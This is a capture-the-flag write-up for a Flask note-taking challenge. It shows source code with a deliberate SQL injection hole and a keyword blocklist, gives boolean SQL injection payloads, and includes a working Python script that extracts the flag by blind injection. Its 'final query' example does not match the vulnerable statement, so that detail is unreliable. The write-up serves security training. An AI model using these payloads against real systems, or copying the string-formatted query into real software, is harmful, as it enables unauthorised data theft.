- Published on
FlagYard - Nooter - Web
- Authors
- Name
- Asif Masood
- @A51F221B
Just another note taking app :)
Following code is given for this web challenge.
from flask import Flask, render_template, request, redirect, url_for, session
import sqlite3
from sqlite3 import Error
import string
import random
import re
class Database:
def __init__(self, db):
self.db = db
try:
self.conn = sqlite3.connect(self.db, check_same_thread=False)
except:
self.conn = None
def gen_random(self) -> str:
letters = string.ascii_lowercase
result_str = ''.join(random.choice(letters) for i in range(15))
return result_str
def execute_statement(self, create_table_sql) -> str:
try:
c = self.conn.cursor()
return c.execute(create_table_sql)
except Error as e:
return e
def create_tables(self) -> str:
create_user_table = """
CREATE TABLE IF NOT EXISTS user(
id integer PRIMARY KEY,
username text NOT NULL,
password text NOT NULL
);
"""
create_user_note = """
CREATE TABLE IF NOT EXISTS notes(
username text NOT NULL,
notes text NOT NULL
);
"""
create_flag_table = """
CREATE TABLE IF NOT EXISTS flag(
flag text NOT NULL
);
"""
if self.conn is not None:
self.execute_statement(create_user_table)
self.execute_statement(create_flag_table)
self.execute_statement(create_user_note)
return "Tables have been created"
else:
return "Something went wrong"
def insert(self, statement, *args) -> bool:
try:
sql = statement
curs = self.conn.cursor()
curs.execute(sql, (args))
self.conn.commit()
return True
except:
return False
def select(self, statement, *args) -> list:
curs = self.conn.cursor()
curs.execute(statement, (args))
rows = curs.fetchall()
result = []
for row in rows:
result.append(row)
return result
app = Flask(__name__)
app.config['SECRET_KEY'] = 'e66b6950164958de940d9d117f665c98'
def blacklist(string):
string = string.lower()
blocked_words = ['exec', 'load', 'blob', 'glob', 'union', 'join', 'like', 'match', 'regexp', 'in', 'limit', 'order', 'hex', 'where']
for word in blocked_words:
if word in string:
return True
return False
@app.route('/', methods=['GET', 'POST'])
def index():
if 'loggedin' in session:
msg = ''
if request.method == 'POST' and 'note' in request.form:
note = request.form['note']
if blacklist(note):
msg = 'Forbidden word detected'
else:
query = db.insert("INSERT INTO notes(username, notes) VALUES(?,'%s')" % note, session['username'])
if query is not True:
msg = 'Something went wrong'
notes = db.select("SELECT notes FROM notes WHERE username = ?", session['username'])
return render_template('home.html', username=session['username'], notes=notes, msg=msg)
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
account = db.select("SELECT * FROM user where username = ? and password = ?", username, password)
if account:
session['loggedin'] = True
session['id'] = account[0][0]
session['username'] = account[0][1]
return redirect(url_for('index'))
else:
msg = 'Incorrect username/password!'
return render_template('index.html', msg=msg)
@app.route('/register', methods=['GET', 'POST'])
def register():
msg = ''
if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
username = request.form['username']
password = request.form['password']
account = db.select("SELECT * FROM user where username = ? and password = ?", username, password)
if account:
msg = 'Account already exists!'
elif not re.match(r'[A-Za-z0-9]+', username):
msg = 'Username must contain only characters and numbers!'
elif not username or not password:
msg = 'Please fill out the form!'
else:
db.insert("INSERT INTO user(username, password) Values (?,?)", username, password)
msg = 'You have successfully registered!'
elif request.method == 'POST':
msg = 'Please fill out the form!'
return render_template('register.html', msg=msg)
@app.route('/logout')
def logout():
session.pop('loggedin', None)
session.pop('id', None)
session.pop('username', None)
return redirect(url_for('login'))
if '__main__' == __name__:
db = Database('./sqlite.db')
db.create_tables()
db.insert("INSERT INTO flag(flag) VALUES (?)", "FlagY{fake_flag}")
app.run(host='0.0.0.0', port=5000)
For the code we can understand that there is an option to register a user and login. After that we can add notes that will be stored in a sqlite3 database. We can try SQL injections and see if we can reach the flag.
There is a vulnerability in the notes addition functionality where in the SQL query the note parameter is being passed using the %s
string formatter which can lead to injection. The session['username']
is being passed correctly using ?
.
query = db.insert("INSERT INTO notes(username, notes) VALUES(?,'%s')" % note, session['username'])
When we enter a note following post request is generated.
POST / HTTP/1.1
Host: ac58b452935df14eb8f4b.playat.flagyard.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: null
Connection: keep-alive
Cookie: _ga_0E623T8GQZ=GS1.1.1729606677.24.1.1729606834.0.0.0; _ga=GA1.2.437942595.1726392353; _gid=GA1.2.1386013743.1729606679; session=eyJpZCI6MiwibG9nZ2VkaW4iOnRydWUsInVzZXJuYW1lIjoidGVzdFwiT1IgMT0xIC0tIC0ifQ.Zxe4LQ.fVRknFS5cXX1x3HIOww-v9noCUo
Upgrade-Insecure-Requests: 1
Priority: u=0, i
note=this is a test note
We use the payload 'OR '1'='1
which makes gives us 1
as output in the frontend confirming its executing sqli injection.
We can use the payload ' OR SUBSTR((SELECT flag FROM flag), 2, 1) = 'L
to know the correct characters of the flag. The final query becomes :
SELECT * FROM users WHERE username = '' OR SUBSTR((SELECT flag FROM flag), 1, 1) = 'F')
Script to extract the flag :
import requests
import string
# Base URL of the application
base_url = "http://ac58b452935df14eb8f4b.playat.flagyard.com/"
register_url = base_url + "register"
login_url = base_url + "login"
add_note_url = base_url
# Characters to test for the flag
charset = string.digits + string.ascii_letters + "{}_"
flag = ""
position = 1
# Account credentials (use one account for the entire process)
username = "test"
password = "test"
# Session for persistence
session = requests.Session()
# Function to login
def login():
login_data = {"username": username, "password": password}
response = session.post(login_url, data=login_data)
if "Welcome" in response.text:
print("[+] Login successful!")
else:
print("[-] Login failed.")
exit()
# Function to test if a character is correct at a specific position
def test_char_for_position(char, position):
payload = f"' OR SUBSTR((SELECT flag FROM flag), {position}, 1) = '{char}"
data = {"note": payload}
response = session.post(add_note_url, data=data)
# Extract reflected values (0s and 1s) from the response
reflected_values = [val for val in response.text if val in ('0', '1')]
# If we find a 1 as the last reflected value, the character is correct
if reflected_values and reflected_values[-1] == '1':
print(f"[+] Correct character at position {position}: '{char}'")
return True
return False
# Log in once using a single account
login()
# Extract the flag character by character
while True:
found_char = False
for char in charset:
if test_char_for_position(char, position):
flag += char
print(f"[+] Flag so far: {flag}")
position += 1
found_char = True
break
if not found_char:
print("[*] Flag extraction complete!")
break
print(f"\n[+] Extracted flag: {flag}")